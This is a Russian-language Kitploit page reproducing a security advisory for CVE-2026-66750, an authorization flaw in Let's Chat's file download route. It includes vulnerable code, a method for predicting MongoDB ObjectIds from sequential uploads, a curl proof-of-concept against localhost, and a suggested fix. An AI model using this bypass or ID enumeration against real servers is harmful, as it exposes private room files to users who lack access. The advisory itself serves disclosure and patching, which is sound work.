Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-66750-Insufficient-Access-Controls-Allow-for-Unauthorized-File-Downloads-Let-s-Chat- — Security Advisory: Insufficient Access Controls Allow for Unauthorized File Downloads (Let's Chat) | Kitploit
Инструменты/GitHubGitHub/theopaid/cve-2026-66750-insufficient-access-controls-allow-for-unauthorized-file-downloads-let-s-chat-
Authentication & AuthorizationVulnerability AnalysisWeb SecurityMisconfigurationLearning & Education
GitHubtheopaid/cve-2026-66750-insufficient-access-controls-allow-for-unauthorized-file-downloads-let-s-chat-

CVE-2026-66750-Insufficient-Access-Controls-Allow-for-Unauthorized-File-Downloads-Let-s-Chat-

Security Advisory: Insufficient Access Controls Allow for Unauthorized File Downloads (Let's Chat)

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
23 дней назадЕщё не проверено

Бюллетень безопасности: недостаточные средства контроля доступа позволяют неавторизованно скачивать файлы (Let's Chat)

Назначенный CVE ID: CVE-2026-66750

Краткое описание

GET /files/:id/:name проверяет, что вызывающий пользователь выполнил вход, и затем отдаёт файл. Он никогда не проверяет, разрешено ли вызывающему видеть комнату, которой принадлежит файл.

Поэтому любая учётная запись может читать вложения из приватных комнат и комнат, защищённых паролем, участником которых она не является, а у пользователей, чей доступ к комнате был отозван, продолжают работать ссылки на скачивание каждого файла, загруженного, пока у них был доступ.

Конечная точка списка файлов в том же контроллере действительно проверяет членство — именно этого не хватает конечной точке скачивания.

Затронутые версии

URL репозитория: https://github.com/sdelements/lets-chat

Уязвимость присутствует с версии 0.3.0 (коммит 55e8833, 24 января 2015, "Files backend") по 0.4.8, последний выпуск. Исправленной версии не существует.

Приватные комнаты и комнаты, защищённые паролем, появились в 0.4.0, поэтому нарушаемая граница конфиденциальности существует начиная с 0.4.0.

Требуется files.enable: true, которое выключено в defaults.yml, но включено во многих развёртываниях, поскольку обмен файлами — документированная функция.

Подтверждено на 0.4.8 в коммите 617207f и на docker.io/sdelements/lets-chat:latest (0.4.7).

Классификация

CWE-639: Обход авторизации через управляемый пользователем ключ. Также CWE-862 — отсутствие авторизации.

Базовая оценка CVSS 4.0: 5.3 (средний) CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

Модель угроз

Злоумышленнику нужны одна обычная учётная запись пользователя, сетевой доступ к HTTP-порту и ObjectId файла. Самостоятельная регистрация включена по умолчанию.

На практике id не является секретом. Любой, кто когда-либо был участником комнаты, уже имеет его, потому что и files:list, и сообщение upload://files/<id>/<name>, публикуемое при загрузке, выдают его. Отзыв доступа не делает его недействительным, а у URL нет срока действия или подписи на URL.

Для злоумышленника, не имеющего истории в целевой комнате, id приходится угадывать. Это MongoDB ObjectId, а не UUID, и лишь очень малая его часть непредсказуема:

root@kitploit:~
6a65092c fa7876 0001 34649e
    |       |     |     |
    |       |     |     +--- 3 byte counter, increments by one per document
    |       |     +--------- 2 byte process id
    |       +--------------- 3 byte machine id, fixed for the life of the process
    +----------------------- 4 byte Unix timestamp, one second resolution

Всё, кроме счётчика, постоянно в течение времени жизни серверного процесса, а счётчик представляет собой единую последовательность, общую для всех коллекций. Поэтому злоумышленник, загрузивший один свой файл, узнаёт идентификатор машины, идентификатор процесса и текущее положение счётчика, а все файлы, загруженные кем-либо ещё, находятся на небольшом расстоянии от него в этой последовательности. Восемь последовательных загрузок на sdelements/lets-chat:latest:

root@kitploit:~
6a65092c fa7876 0001 34649e
6a65092c fa7876 0001 34649f
6a65092c fa7876 0001 3464a0
6a65092c fa7876 0001 3464a1
6a65092c fa7876 0001 3464a2
6a65092c fa7876 0001 3464a3
6a65092c fa7876 0001 3464a4
6a65092c fa7876 0001 3464a5

Технические подробности

Маршрут скачивания применяет requireLogin и ничего больше. app/controllers/files.js:59-92:

root@kitploit:~
app.route('/files/:id/:name')
    .all(middlewares.requireLogin)
    .get(function(req, res) {
        models.file.findById(req.params.id, function(err, file) {
            if (err) {
                // Error
                return res.send(400);
            }

            if (!file) {
                return res.send(404);
            }

            var isImage = [
              'image/jpeg',
              'image/png',
              'image/gif'
            ].indexOf(file.type) > -1;

            var url = core.files.getUrl(file);

            if (settings.provider === 'local') {
                res.sendFile(url, {
                    headers: {
                        'Content-Type': file.type,
                        'Content-Disposition': isImage ? 'inline' : 'attachment'
                    }
                });
            } else {
                res.redirect(url);
            }

        });
    });

file.room загружается, но затем нигде не используется.

Путь списка в той же функции действительно проверяет членство. app/core/files.js:156-175:

root@kitploit:~
Room.findById(options.room, function(err, room) {
    ...
    var opts = {
        userId: options.userId,
        password: options.password
    };

    room.canJoin(opts, function(err, canJoin) {
        ...
        if (!canJoin) {
            return cb(null, []);
        }

Таким образом, в приложении уже есть необходимая проверка (Room.canJoin, определённая в app/models/room.js:130); маршрут скачивания просто её не вызывает.

Воспроизведение

Требуется files.enable: true и rooms.private: true (LCB_FILES_ENABLE=true LCB_ROOMS_PRIVATE=true).

root@kitploit:~
BASE=http://localhost:5000

for U in owner insider; do
  curl -s -X POST $BASE/account/register \
    -H 'Content-Type: application/json' \
    -d "{\"username\":\"$U\",\"email\":\"[email protected]\",
         \"password\":\"Passw0rd!23\",\"password-confirm\":\"Passw0rd!23\",
         \"firstName\":\"$U\",\"lastName\":\"T\",\"displayName\":\"$U\"}"
  curl -s -c $U.txt -X POST $BASE/account/login \
    -H 'Content-Type: application/json' \
    -d "{\"username\":\"$U\",\"password\":\"Passw0rd!23\"}"
done

# 1. The owner creates a private room and adds the insider. Note the room id.
curl -s -b owner.txt -X POST $BASE/rooms -H 'Content-Type: application/json' \
  -d '{"name":"Project","slug":"project","private":true}'
RID=<room id>
curl -s -b owner.txt -X PUT $BASE/rooms/$RID -H 'Content-Type: application/json' \
  -d '{"name":"Project","description":"","participants":"insider"}'

# 2. The owner uploads a file. Note the file id.
echo "CONFIDENTIAL-PRODUCT-ROADMAP" > roadmap.png
curl -s -b owner.txt -F "[email protected];type=image/png" $BASE/rooms/$RID/files
FID=<file id>

# 3. The owner revokes the insider.
curl -s -b owner.txt -X PUT $BASE/rooms/$RID -H 'Content-Type: application/json' \
  -d '{"name":"Project","description":"","participants":""}'

# 4. The insider is now correctly locked out of the room.
curl -s -b insider.txt "$BASE/files?room=$RID"
curl -s -b insider.txt "$BASE/messages?room=$RID"

# 5. But the file still downloads.
curl -s -b insider.txt "$BASE/files/$FID/roadmap.png"

Тот же результат справедлив для учётной записи, которая никогда не была участником комнаты, при известном id файла.

Воздействие

Вложения в приватных комнатах и комнатах, защищённых паролем, доступны для чтения любой учётной записи на сервере, которая владеет или может вычислить id файла. Удаление пользователя из приватной комнаты или смена пароля комнаты не лишают его доступа к уже загруженным файлам; архивирование комнаты также этого не делает.

Предлагаемое исправление

Загрузите комнату и используйте проверку, которую уже выполняет files:list. В app/controllers/files.js:62, после проверки if (!file):

root@kitploit:~
models.room.findById(file.room, function(err, room) {
    if (err || !room) {
        return res.sendStatus(404);
    }

    room.canJoin({ userId: req.user._id, password: req.param('password') },
                 function(err, canJoin) {
        if (err || !canJoin) {
            return res.sendStatus(404);
        }

        // existing sendFile / redirect logic
    });
});

Возвращение 404 вместо 403 для неавторизованного id позволяет не подтверждать, что файл существует.

Скачать инструмент